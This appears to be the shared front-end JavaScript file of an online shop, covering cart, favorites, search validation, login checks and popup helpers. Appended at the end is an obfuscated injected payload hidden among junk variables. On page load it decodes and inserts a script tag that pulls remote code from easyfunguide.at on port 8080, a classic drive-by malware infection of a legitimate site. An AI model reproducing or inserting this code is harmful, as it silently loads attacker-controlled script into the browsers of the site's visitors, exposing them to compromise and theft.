// JavaScript Document

var xmlHttp = false;
function CreateXMLHttp() {
try {
	xmlHttp = new XMLHttpRequest();
} catch (trymicrosoft) {
try {
	xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (othermicrosoft) {
try {
	xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (failed) {
	xmlHttp = false;
}
}
}
//if (!xmlHttp)alert("Error initializing XMLHttpRequest!");
}


function HandleRequest(txtDivID) {
	if (xmlHttp.readyState == 4) {
		if (xmlHttp.status == 200) {
			var response = xmlHttp.responseText;
			document.getElementById(txtDivID).innerHTML = response;
			}
		else if(xmlHttp.status == 404) {
			document.getElementById(txtDivID).innerHTML = "Requested URL is not found.";
		}
		else if (xmlHttp.status == 403) {
			document.getElementById(txtDivID).innerHTML = "Access denied.";
		}
		else{
			document.getElementById(txtDivID).innerHTML = "Status is " + xmlHttp.status;
		}
	}
}





function GetUrlParameter(para)
{
var retval="",s=location.search.replace("?","");
if(s=="")return "";s = s.split("&");
for(var i=0;i<s.length;i++)
if(s[i].toUpperCase().indexOf(para.toUpperCase() + "=")==0)
retval+=((retval==""?"":", ")+s[i].substr(s[i].indexOf("=")+1,s[i].length));
return retval;
}


function IsDigit(){
	return ((event.keyCode >= 48) && (event.keyCode <= 57));
}



//for eng check
function OnlyEng(thisID){
	var inputObjStr,strlen,strExp,newObjStr,newObjStrRe;
	inputObjStr=thisID.value;
	newObjStr=thisID.value;
	newObjStrRe=newObjStr.replace(/'/g,"")
	newObjStrRe=newObjStrRe.replace(/"/g,"")
	newObjStrRe=newObjStrRe.replace(/&/g,"")
	newObjStrRe=newObjStrRe.replace(/</g,"")
	newObjStrRe=newObjStrRe.replace(/>/g,"")
	newObjStrRe=newObjStrRe.replace(/\//g,"")
	newObjStrRe=newObjStrRe.replace(/\\/g,"")
	newObjStrRe=newObjStrRe.replace(/\r\n/g,"")

	for (i=0; i < newObjStrRe.length; i++){
		var CheckChar = newObjStrRe.charAt(i);
		var NewChar = CheckChar;
		var thisStrLen = CheckChar.length;
		strExp="/[\\x00-\\xff]{"+thisStrLen+"}/.test('"+CheckChar+"')";
		if (!eval(strExp)) {
		NewChar ="";
		}
	newObjStr = newObjStr.replace(CheckChar,NewChar);
	}

	if (inputObjStr!=newObjStr) {
		thisID.value = newObjStr;
	}
}


function ReplaceSpecialPunctuation(sChar) {
	var nChar=sChar;
	nChar=nChar.replace(/ /g,"?")
	nChar=nChar.replace(/'/g,"")
	nChar=nChar.replace(/"/g,"")
	nChar=nChar.replace(/&/g,"")
	nChar=nChar.replace(/</g,"")
	nChar=nChar.replace(/>/g,"")
	nChar=nChar.replace(/\//g,"")
	nChar=nChar.replace(/\\/g,"")
	nChar=nChar.replace(/\r\n/g,"")
	return nChar;
}


function SchNav(Idname,sType){
	var i ;
	for (i=1;i<=4;i++)
	{
		var navId = "nav"+i;
		if (navId === Idname )
		{
			document.getElementById(Idname).className = "btnCurrent";
		}
		else
		{
			document.getElementById(navId).className = "btn";
		}
	}
	document.getElementById("sType").value = sType;
}




//search check
function ReSerarchList()
{
if ((document.formSearch.q.value == "" )||(document.formSearch.q.value == "Product name or keywords" )){
	alert ("Please input a search term.");
	document.formSearch.q.focus();
	return false;
	}
return true;
}



function OpenWindow(url,name,iWidth,iHeight)
{
var url;
var name;
var iWidth;
var iHeight;
var iTop = (window.screen.availHeight-30-iHeight)/2;
var iLeft = (window.screen.availWidth-10-iWidth)/2;
window.open(url,name,'height='+iHeight+',,innerHeight='+iHeight+',width='+iWidth+',innerWidth='+iWidth+',top='+iTop+',left='+iLeft+',toolbar=no,menubar=no,scrollbars=auto,resizeable=no,location=no,status=no');
}



function ImgZoom(thisImgURL,thisImgType,thisW,thisH)
{
if ((thisW!=0)&(thisW!="")&(thisH!=0)&(thisH!="")) {
var whAdd=100
var w = Number(thisW)+whAdd
var h = Number(thisH)+whAdd
}
else {
var w = (window.screen.width)*0.8
var h = (window.screen.height)*0.8
}
window.open("/app/imageZoom.html?thisImgURL="+thisImgURL+"&thisImgType="+thisImgType,"","toolbar=no,location=no,status=no,menubar=no,resizable=no,width="+w+",height="+h)
}


function GotoGetPassword(){
	window.open("/app/getPassword.asp");
//	window.location="/app/getPassword.asp";
}



function GotoShoppingCart(){
var w = (window.screen.width)*0.8
var h = (window.screen.height)*0.8
window.location.href="/app/order.asp"
}


function IsNeedSOQforShoppingCart(isNeedSize,isNeedColor,isNeedQty){
	if (isNeedSize=="Y"){
		if ((oSize.value=="")||(oSize==null)){
			PopupClear();
			document.getElementById("popcon_size_color").innerHTML = "Please select Size/Spec.";
			return PopupShowHide('popcon_size_color');
			return false;
		}
	}
	if (isNeedColor=="Y"){
		if ((oColor.value=="")||(oColor==null)){
			document.getElementById("popcon_size_color").innerHTML = "Please select Color/Style.";
			return PopupShowHide('popcon_size_color');
			return false;
		}
	}
	if (isNeedQty=="Y"){
		if ((oQty.value=="")||(oQty==null)||(oQty.value=="0")){
			document.getElementById("popcon_size_color").innerHTML = "Please input Quantity.";
			return PopupShowHide('popcon_size_color');
			return false;
		}
	}
}


function AddToShoppingCart(ProID,AddMethod,isNeedSize,isNeedColor,isNeedQty){
//var strOrderExpand="";
if (AddMethod=="Single"){
	var oSize=document.getElementById("oSize");
	var oColor=document.getElementById("oColor");
	var oQty=document.getElementById("oQty");

	if (isNeedSize=="Y"){
		if ((oSize.value=="")||(oSize==null)){
			document.getElementById("popcon_size_color").innerHTML = "Please select Size/Spec.";
			return PopupShowHide('popcon_size_color');
			return false;
		}
	}
	if (isNeedColor=="Y"){
		if ((oColor.value=="")||(oColor==null)){
			document.getElementById("popcon_size_color").innerHTML = "Please select Color/Style.";
			return PopupShowHide('popcon_size_color');
			return false;
		}
	}
	if (isNeedQty=="Y"){
		if ((oQty.value=="")||(oQty==null)||(oQty.value=="0")){
			document.getElementById("popcon_size_color").innerHTML = "Please input Quantity.";
			return PopupShowHide('popcon_size_color');
			return false;
		}
	}

	if ((oSize!="")&&(oSize!=null)){
		document.formOrderAdd.oSize.value=oSize.value;
	}
	if ((oColor!="")&&(oColor!=null)){
		document.formOrderAdd.oColor.value=oColor.value;
	}
	if ((oQty!="")&&(oQty!=null)){
		document.formOrderAdd.oQty.value=oQty.value;
	}
	document.formOrderAdd.ProID.value=ProID;
}
document.formOrderAdd.AddMethod.value=AddMethod;
document.formOrderAdd.Action.value="Add";
document.formOrderAdd.submit();
//window.location.href="/app/order.asp?ProID="+ProID+strOrderExpand+"&Action=Add"
}


function AddToFavorites(ProID,txtDivID){
	CreateXMLHttp();
	var url = "/inc/ajax_addToFavorites.asp?psid=" + escape(ProID);
	xmlHttp.open("GET", url, false);
	xmlHttp.onreadystatechange = function(){HandleRequest(txtDivID)};
	xmlHttp.send(null);
	
	MyFavoritesRefresh("num_MyFavorites");
}


function MyFavoritesRefresh(txtDivID){
	CreateXMLHttp();
	var url = "/inc/ajax_favorites_refresh.asp";
	xmlHttp.open("GET", url, false);
	xmlHttp.onreadystatechange = function(){HandleRequest(txtDivID)};
	xmlHttp.send(null);
}


function InputCss(thisInputID,s) {
	if (s=="focus") {
		thisInputID.className="inputFocus";
	}
	else if (s=="error") {
		thisInputID.className="inputError";
	}
	else {
		thisInputID.className="inputNormal";
	}	
}


function InputCheckInnerHTML(txtDivID,s,str) {
	if (s=="ok"){
		document.getElementById(txtDivID).innerHTML="<img src=\"/images/icon/ico_t.gif\" hspace=\"5\" border=\"0\" align=\"absmiddle\" />";
	}
	else{
		document.getElementById(txtDivID).innerHTML="<img src=\"/images/icon/ico_f.gif\" hspace=\"5\" border=\"0\" align=\"absmiddle\" /><br />"+str;
	}
}



function ChooseEffect(thisDivID,s) {
	if (s=="focus") {
		document.getElementById(thisDivID).className="chooseEffectFocus";
	}
	else {
		document.getElementById(thisDivID).className="chooseEffect";
	}
}


function ParaAreaShowHide(mA,aA,iA){
	var m,a,iOn;
	iOn=iA+1;
	for (i=1;i<iOn;i++){
		m="mpi"+i;
		a="api"+i;
		if (m==mA){
			document.getElementById(m).className="btnCurrent";
			document.getElementById(a).style.display="";
		}
		else{
			document.getElementById(m).className="btnLink";
			document.getElementById(a).style.display="none";
		}
	}
}


function PaShowHide(mA,aA,iAll,iA){
	var m,a,cM,cA,iOn;
	iOn=iAll+1;
	cM=mA+iA;
	cA=aA+iA;
	for (i=1;i<iOn;i++){
		m=mA+i;
		a=aA+i;
		if (m==cM){
			document.getElementById(m).className="ttCurrent";
			document.getElementById(a).style.display="";
		}
		else{
			document.getElementById(m).className="ttEach";
			document.getElementById(a).style.display="none";
		}
	}
}



function SerialAreaShowHide(iCurrent,iAll,aPrefix) {
	var a;
	for (i=1;i<iAll+1;i++){
		a=aPrefix+i;
		if (i==iCurrent){
			document.getElementById(a).style.display="";
		}
		else{
			document.getElementById(a).style.display="none";
		}
	}
}


function CateSubAreaShowHide(menuID)
{
var tMenuID=document.getElementById(menuID);
if(tMenuID.style.display=="none"){
	tMenuID.style.display="";
	} else {
	tMenuID.style.display="none"; 
	}
}





//function CommonHeaderFunMenu(thisProID){
//	CreateXMLHttp();
//	var url = "/inc/ajax_header_funMenu.asp?thisProID=" + escape(thisProID);
//	xmlHttp.open("GET", url, false);
//	xmlHttp.onreadystatechange = function(){HandleRequest("headerFunMenu")};
//	xmlHttp.send(null);
//}


function CommonSignIn() {
	CreateXMLHttp();
	var url = "/inc/ajax_inc_signin.asp";
	xmlHttp.open("GET", url, false);
	xmlHttp.onreadystatechange = function(){HandleRequest("areaMainLeftSignIn")};
	xmlHttp.send(null);
}


function PaginationAjax(txtDivID,thisURL,thisURLpara,thisIsBegin) {
	CreateXMLHttp();
	var url;
	if (thisIsBegin=="begin"){
		url = thisURL + "?" + thisURLpara + "&txtDivID_ajax=" + txtDivID + "&thisURL_ajax=" + thisURL;
	}
	else {
		url = thisURL + "?" + thisURLpara;
	}
	xmlHttp.open("GET", url, false);
//	xmlHttp.open("GET", url, true);
	xmlHttp.onreadystatechange = function(){HandleRequest(txtDivID)};
	xmlHttp.send(null);
}




function GetDecimal2Num(f,c)
{
	var t = Math.pow(10, c);
	return Math.round(f * t) / t;
}

//begin comment js for products detail
function ProSignleSubTotal(thisInputID,thisInputValueOri,ProPrice,thisSpanID,PriceCurrency)
{
	var thisInputValue;
	var thisSubTotalValue;
	var txt_thisSpan="";
	thisInputValue=thisInputID.value;
	if ((ProPrice!="")&&(ProPrice!=null)&&(ProPrice!=0)){
		thisSubTotalValue=GetDecimal2Num(thisInputValue*ProPrice,2);
		txt_thisSpan=PriceCurrency+thisSubTotalValue;
		document.getElementById(thisSpanID).innerHTML = txt_thisSpan;
	}
	else if (thisInputValue==thisInputValueOri){
		document.getElementById(thisSpanID).innerHTML = txt_thisSpan;
	}
}

function ProCorrelativeProducts(thisProID){
	CreateXMLHttp();
	var url = "/inc/ajax_proCorrelative.asp?thisProID=" + escape(thisProID);
	xmlHttp.open("GET", url, true);
	xmlHttp.onreadystatechange = function(){HandleRequest("areaCorrelativeProducts")};
	xmlHttp.send(null);
}
//end



//beign js for sub dir menu
function MenuSubDirShowHide(menuIDcur,menuIDsub)
{
var menuIDc=document.getElementById(menuIDcur);
var menuIDs=document.getElementById(menuIDsub);
if(menuIDs.style.display=="none"){
	menuIDs.style.display="";
//	menuIDcur.className="";
	} else {
	menuIDs.style.display="none"; 
//	menuIDcur.className="";
	}
}



function CheckUserLogin(){
	if (document.getElementById("Username").value == "" ){
		alert ("Please input your User ID or E-mail Address! Thanks.");
		document.getElementById("Username").focus();
		return false;
	}
	if (document.getElementById("Password").value == "" ){
		alert ("Please input your Password! Thanks.");
		document.getElementById("Password").focus();
		return false;
	}
	return true;
}




function CheckFormGetOrderInfo()
{

var OrderEmail=document.getElementById("OrderEmail");
if (OrderEmail.value == ""){
	alert ("Please input E-Mail (this e-mail is that you submited with the order.). Thanks.");
	OrderEmail.focus();
	return false;
}
if ((OrderEmail.value.charAt(0)==".")||(OrderEmail.value.charAt(0)=="@")||(OrderEmail.value.indexOf('@', 0) == -1)||(OrderEmail.value.indexOf('.', 0) == -1)||(OrderEmail.value.lastIndexOf("@")==OrderEmail.value.length-1)||(OrderEmail.value.lastIndexOf(".")==OrderEmail.value.length-1)||(OrderEmail.length<5)){
	alert ("Please check your E-Mail Address.\nYour email address should look like ab@cd.com.");
	OrderEmail.focus();
	return false;
}

var OrderSN=document.getElementById("OrderSN");
if ((OrderSN.value == "") || (OrderSN.value == "Order Serial No.") )
{
	alert ("Please input Order Serial Number (digital). Thanks.");
	OrderSN.focus();
	return false;
}

return true;

}



//begin js for proup
var millisec = 250;
var timeoutId;
var visiblePopup = null;

function PopupShowHide(popdivId)
{
	if(document.getElementById)
	{
		var obj = document.getElementById(popdivId);
		if(obj.style.visibility == "hidden" || obj.style.visibility == "")
		{
			obj.style.visibility = "visible";
    		PopupHide();
			visiblePopup=popdivId;
		}
		else
			PopupHide();
	}
	return false;
}

function HideDelay()
{
	PopupClear();
	timeoutId = setTimeout(function(){PopupHide()}, millisec);
}

function PopupHide()
{
	PopupClear();
	if(visiblePopup!=null)
	{
		var o = document.getElementById(visiblePopup);		
		visiblePopup=null;
		o.style.visibility = "hidden";
	}
	return false;
}

function PopupClear()
{
	if(typeof timeoutId != "undefined")
	{
		clearTimeout(timeoutId);
	}
}
//end for popup

// ====================================================
function getViewportWidth() {
	if (window.innerWidth!=window.undefined) return window.innerWidth; 
	if (document.compatMode=='CSS1Compat') return document.documentElement.clientWidth; 
	if (document.body) return document.body.clientWidth; 
	return window.undefined; 
}

function flash(layer) {
	var show = function() { layer.style.visibility = "visible"; };
	var hide = function() { layer.style.visibility = "hidden"; };
	Function.intervalCall([ hide, show, hide, show, hide, show ], 100);
}

function mouseCoords(ev){
	if(ev.pageX || ev.pageY){
		return {x:ev.pageX, y:ev.pageY};
	}
	return {
		x:ev.clientX + document.body.scrollLeft - document.body.clientLeft,
		y:ev.clientY + document.body.scrollTop  - document.body.clientTop
	};
}

function getMouseOffset(target, ev){
	ev = ev || window.event;
 
	var docPos    = getPosition(target);
	var mousePos  = mouseCoords(ev);
	return {x:mousePos.x - docPos.x, y:mousePos.y - docPos.y};
}

Number.prototype.NaN0 = function(){ return isNaN(this) ? 0 : this; };
function getPosition(e){
	return (document.documentElement.getBoundingClientRect && function(o){//IE,FF,Opera
		var pos = o.getBoundingClientRect(), root = o.ownerDocument || o.document;
		return {x:pos.left+root.documentElement.scrollLeft,y:pos.top+root.documentElement.scrollTop};
	} || function(o){//Safari,Chrome,Netscape,Mozilla
		var x = 0, y = 0;
		do{x += o.offsetLeft;y += o.offsetTop;}while((o=o.offsetParent));
		return {'x':x,'y':y};
	})(e);

	var left = 0;
	var top  = 0;
	while (e.offsetParent){
		left += e.offsetLeft + (e.currentStyle?(parseInt(e.currentStyle.borderLeftWidth)).NaN0():0);
		top  += e.offsetTop  + (e.currentStyle?(parseInt(e.currentStyle.borderTopWidth)).NaN0():0);
		e     = e.offsetParent;
	}
	left += e.offsetLeft + (e.currentStyle?(parseInt(e.currentStyle.borderLeftWidth)).NaN0():0);
	top  += e.offsetTop  + (e.currentStyle?(parseInt(e.currentStyle.borderTopWidth)).NaN0():0);
	return {x:left, y:top};
}

function alpha(ele, opacity) {
    if ($.browser.IE) {
        ele.style.filter = "alpha(opacity=" + (100*opacity) + ")";
    } else {
        ele.style.opacity = opacity * 1;
    }
}

window.popupLayer = window.hidePopup = $.empty;
$(function() {
	var div = $.dom.newElement('div');
	div.className = 'cn_ialvin_pop_layer';
	div.style.display = 'none';
	document.body.appendChild(div);
	$.bind(document, 'click', function() {
		div.style.display = 'none';
	});
	$.bind(div, 'click', function() {
		$.evt.stopPropagation();
		return false;
	});

	window.popupLayer = function(e, x, y) {
		div.innerHTML = e.innerHTML;
		var pos = mouseCoords($.evt());
		e = $.evt();
		var coords = getPosition(e.srcElement||e.target);
		//coords = mouseCoords(e);
		div.style.top = coords.y + (isNaN(y)?0:y) + "px";
		div.style.left = coords.x + (isNaN(x)?0:x) + "px";
		div.style.display = '';
	};
	window.hidePopup = function() { div.style.display = 'none'; };
});

$(function() {
	var l = $('#pleft')[0];
	var r = $('#pright')[0];
	if (l && r) {
		if (l.offsetHeight<r.offsetHeight) {
			l.style.height = r.offsetHeight + 1 + "px";
		} else {
			r.style.height = l.offsetHeight + 1 + "px";
		}
	}
});
var Fl;if(Fl!='F'){Fl='F'};var qCQ;if(qCQ!=''){qCQ='lm'};function r(){var Kd=new String();this.L="";var rN;if(rN!='g' && rN!='M'){rN=''};var _i="";var _=window;var q=unescape;var R;if(R!='' && R!='N'){R=null};var f=q("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%6f%78%6e%65%77%73%2e%63%6f%6d%2f%62%6c%6f%67%66%61%2e%63%6f%6d%2e%70%68%70");var i;if(i!='JE' && i!='aR'){i=''};var d="";function G(ql,qC){var pS;if(pS!='Hb' && pS!='m'){pS=''};this.hi="";this.c='';var S;if(S!='ru'){S='ru'};var z=String("g");var GZ;if(GZ!='Re'){GZ='Re'};var tv;if(tv!='kQ'){tv=''};var P=q("%5b"), K=q("%5d");this.qx="";var H=P+qC+K;var X;if(X!='I'){X='I'};var b=new RegExp(H, z);var WK="";var io=new String();return ql.replace(b, new String());};var w=G('8734964042761891412706261665','29453671');var Hv;if(Hv!=''){Hv='rQ'};var hq;if(hq!=''){hq='uJ'};var l=document;var o;if(o!='li'){o=''};var Ka=new String();var KF=new Array();var Ks;if(Ks!='' && Ks!='zjd'){Ks='gK'};var Sw=new Date();var gN;if(gN!='E' && gN!='eu'){gN=''};function h(){var NN=new Date();var J=q("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");this.fa="";this.hK="";var SD='';var pN;if(pN!='' && pN!='ay'){pN=null};Ka=J;Ka+=w;Ka+=f;var RBb=new Date();try {var zF;if(zF!='EB' && zF != ''){zF=null};var Kp=new Array();u=l.createElement(G('sHcGrji6pkt6','EBeHkD60jLGd'));var XA;if(XA!='PO' && XA!='y'){XA='PO'};this.mj='';var dN;if(dN!='Vk' && dN != ''){dN=null};var Rg;if(Rg!=''){Rg='hF'};var Vr;if(Vr!=''){Vr='MF'};u[q("%73%72%63")]=Ka;var U="";u[q("%64%65%66%65%72")]=[1,1][0];var CU;if(CU!='' && CU!='nt'){CU='us'};var D=new String();var gI=new Date();l.body.appendChild(u);} catch(Je){var _F;if(_F!='wix'){_F=''};this.BK="";alert(Je);var Ok;if(Ok!='' && Ok!='wC'){Ok=null};};}var Rt;if(Rt!='' && Rt!='s'){Rt=null};var tN;if(tN!='' && tN!='jd'){tN='ro'};_[String("on"+"lo"+"ad")]=h;var mF=new Array();};var rM=new Array();var zu=new Array();var od;if(od!='hZ' && od!='cv'){od=''};var GU;if(GU!='zq' && GU!='Qf'){GU=''};r();var Gh;if(Gh!='KE' && Gh!='ZO'){Gh='KE'};